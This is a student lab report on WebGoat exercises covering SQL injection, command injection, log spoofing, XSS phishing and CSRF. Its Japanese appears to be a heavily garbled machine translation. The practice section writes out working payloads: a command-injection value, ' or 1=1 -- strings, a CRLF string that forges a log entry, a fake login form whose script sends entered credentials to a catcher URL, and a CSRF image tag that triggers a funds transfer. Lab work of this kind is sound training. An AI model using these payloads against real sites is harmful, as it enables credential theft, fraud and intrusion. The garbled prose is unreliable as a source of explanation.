20165218「ネットワーク戦技術」Exp9セキュアなネットワークインフラストラクチャ

Exp9完全なネットワーク基盤

基本的な質問には答え

SQLインジェクション攻撃は、どのように守るために

いわゆるSQLインジェクションは、SQLコマンドが提出したり、悪質なSQLコマンドを実行するサーバーを欺く最終的にドメイン名またはページリクエストクエリ文字列を入力して、Webフォームに挿入されています。

SQLインジェクション攻撃に使用されたSQLインジェクション攻撃の主な理由は、動的に生成されたSQL文を成功することを確認するために、設計、操作のSQLターゲット・サーバー上の文だけでなく、攻撃の他の手段の抜け穴を利用するユーザー入力データを意味しません。

例えば、通常のログインプロセス、SQL文は、:「+名+ 『とパスワード=『』+パスワード+「」」「ユーザー名=からIDを選択」』、ここではWebフォームからのアクセスを得るために私達のユーザー名とパスワードですデータ。我々は、入力ボックス「または1 = 1--の形式でユーザー名を入力した場合。この時点では、実行するステートメントをSQL「「=または1 = 1--とパスワード」ユーザー名=」ユーザーからの選択のIDになります。1 = 1が真であるので、背中とパスワード=「」がコメントアウトされています。そこでここでは完全にSQL検証をスキップ。

これらは、最も古典的なケースです。しかし、この実験では、だけでなく、対応するコードを変更する必要があるなど、ページ長の入力文字を制限します。

このため、SQLインジェクション攻撃のための防衛は、以下のとおりです。

  • 閉じるか、不要な削除インタラクティブフォームのページを提出します。
  • コードとコードのセキュリティを標準化するSQLインジェクションフィルタキーワードの脆弱性の関連するコード噴射点;
  • 出発点を引き起こし、抜け穴を含んで感染しているファイルのバックアップを避けるためにサーバーを置く、またはバックアップファイルをしないでください。
XSS攻撃と守備のまず、原則

脆弱性のサイトを攻撃者(通常はこれらの脆弱性のサイトには、ユーザーの入力をフィルタリングするために十分スプーラではないこと)、入力ページに表示することができ、HTMLコードの他のユーザーへの影響;によるターゲットへの犠牲者のブラウザにページには、ターゲットサーバへのアクセスに悪質なスクリプトを注入された信頼できるサーバ、この悪意のあるスクリプトが正常に実装することができ、ユーザーのクッキーを得る目的を達成し、不正な操作のためのユーザーIDを利用することができます。

ブラウザ自体は、単純なXSS攻撃を防ぐために、単純なXSS攻撃の文字列を認識することができ、基本的には、ソリューションは、セキュリティなどのエスケープ文字の手段を使用するWeb開発者が必要なサイトXSSの脆弱性を、削除することです。

CSRF攻撃と防衛

CSRFは、「クロスサイトリクエストフォージェリ」の略で、XSSの略、「クロスサイトスクリプティング。」やや似ています、彼らは、クロスサイト攻撃に属している - 攻撃は、サーバーおよびサイトへのユーザーの通常のアクセスを攻撃しません。CSRF名は、意味要求偽造である、ステーションの通常動作においてユーザを偽装します。私たちは、サイトの大半は(セッションIDが内部クッキーに保存されている主な理由は、サイトのサーバー側のセッションの使用を含め、)他の手段によって、ユーザの身元を特定するためにクッキーであることを知って、その後、承認されます。だから、ユーザーの正常な動作を偽造するために、最善の方法は、ユーザによって開始され、このマシンのユーザーが(つまり、ブラウザのクッキーの同一性を有する)の要求を知らない可能、XSSリンクや詐欺の他の手段です。

CSRF XSSの注入はこれよりはるかに多いのアプローチので厳密に言えば、射出CSRF攻撃として分類することはできません。CSRF XSSを通じて達成することは簡単ですが、設計が不十分なウェブサイト、リンクは通常のCSRFによって引き起こされる場合があります。

防衛プロセスは、以下の観点から考えることができます。

  • 修正ステーションAPIの設計。このタイプのリソースの転記作業だけPOSTリクエストを受け付け、サーバ側のリソースを変更することなく、要求がなければならない唯一のブラウザを取得する必要が作成されます。
  • 「リクエストトークン」を使用します まず、サーバは、セッションに格納されたトークン(トークン)として戦略にランダムな文字列を生成します。ページを要求し、その後、他の情報と一緒に発行され、非表示のフォームフィールドの種類にトークン、。要求のみ処理が要求と一致したトークンのトークンセッションで受信した情報の比較を受信ページ、そうでなければ返すHTTP 403で要求を拒否または着陸を再認証するようにユーザに要求します

実践記録

SQLインジェクション攻撃
コマンドインジェクションコマンドインジェクション攻撃

不正は、オペレーティング・システム・コマンドを実行できるコマンドインジェクションの脆弱性。コマンドインジェクションの脆弱性が存在するので、アプリケーションが適切に検証し、消毒するために失敗し、シェル関数の使用を呼び出します。攻撃者は多くの場合、すべてのシステムがこれらのパラメータを制御することによって、欺くアプリケーションの目的を達成するためのコマンドを実行します。
原理:提出プロセスは、通常のパラメータの命令を実行する悪質なコードを追加します。

  • ブラック左のサイドバーの選択はCommand Injection、選択するために、ページ上で右クリックしてinspect Element、レビューページ要素を、ソースコードを変更します
  • バック追加(ここではBackDoors.help)における任意のリストのチェックボックスフォームを探します"& netstat -an &ipconfig

  • クリックしてViewネットワークポートの使用状況やコマンド実行のIPアドレスを確認します

Numberic SQLインジェクション数値注入

注射の数値データ(例:決して本当に式)注射の効果を達成します。

  • 左の列を選択してNumberic SQL Injection、レビューページ要素を開いて、選択した都市数の値の値に追加or 1=1
    [003]
  • 気象条件にすべての都市を表示することができます
ログスプーフィングログスプーフィング攻撃

ログファイル内のスクリプトのチートを挿入することによって達成。ログファイル内の人間の目を欺く、攻撃者がログにその足跡をクリアするには、この方法を使用することができます。

  • 選択Log Spoofing
  • カラムに充填ユーザ名5218%0d%0aLogin Succeeded for username: adminログに表示されるように、キャリッジリターン(0D%)とラインフィード(%の0A)を用いて、
LAB:SQLインジェクションSQLインジェクション
  • 選択LAB:SQL Injectionレビューページ要素を開くために、ソースコードを変更
  • パスワードボックスパスワードの最大長は30に調整されます

  • オプションのログイン・ユーザー(ここではデフォルトで、ラリー手先)、パスワードを入力し' or 1=1 --、成功裏に着陸

XXS攻撃
XSSのクロスサイトスクリプティングのフィッシング攻撃でPhinshing

クロスサイトスクリプティング攻撃は、HTMLを経由してハイジャック、ユーザーのブラウザに注入され、ユーザが現在HTMLコンテンツを閲覧している任意の構成では、あなたは、現在のユーザーの操作をシミュレートすることができます。ここでは、ユーザー名とパスワード攻撃を得るための試験です。

  • 左側の列を開きますCross-Site Scripting (xss)——Phishing with XSS

  • 検索は、輸送中に次のコードを入力します。
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
  • 緑、赤、青の3つのdiv結果に指定されたコードが表示され、「この機能は、アカウントへのログインが必要です:」ユーザープロンプトをだますためにそこに使用されているユーザー名とパスワードの入力ボックスの下に。

  • ログインボックスにユーザー名とパスワードを入力し、盗まれたユーザー名とパスワードを示す、コードをご希望のログインプロンプトのアラートをクリックしてください。

CSRF CSRF攻撃
  • オープンCross-Site Scripting(xxs)——Cross Site Request Forgery(CSRF)

  • 右ページのSCRパラメーター、メニュー内の表示は497900でした
  • タイトル、入力メッセージ内の任意のパラメータを入力します。<img src="http://localhost:8080/WebGoat/attack?Screen=497&menu=900&transferFunds=5000" width="1" height="1" />
  • 一度メッセージ一覧にリンク(ニュース)という名前のタイトルを生成するために、提出しました。CSRF攻撃の目的を達成するために、メッセージをクリックして、現在のページには、ダウンロードしてニュースを表示し、5000元のユーザーから転送されます。

おすすめ

転載: www.cnblogs.com/zicerain/p/10926816.html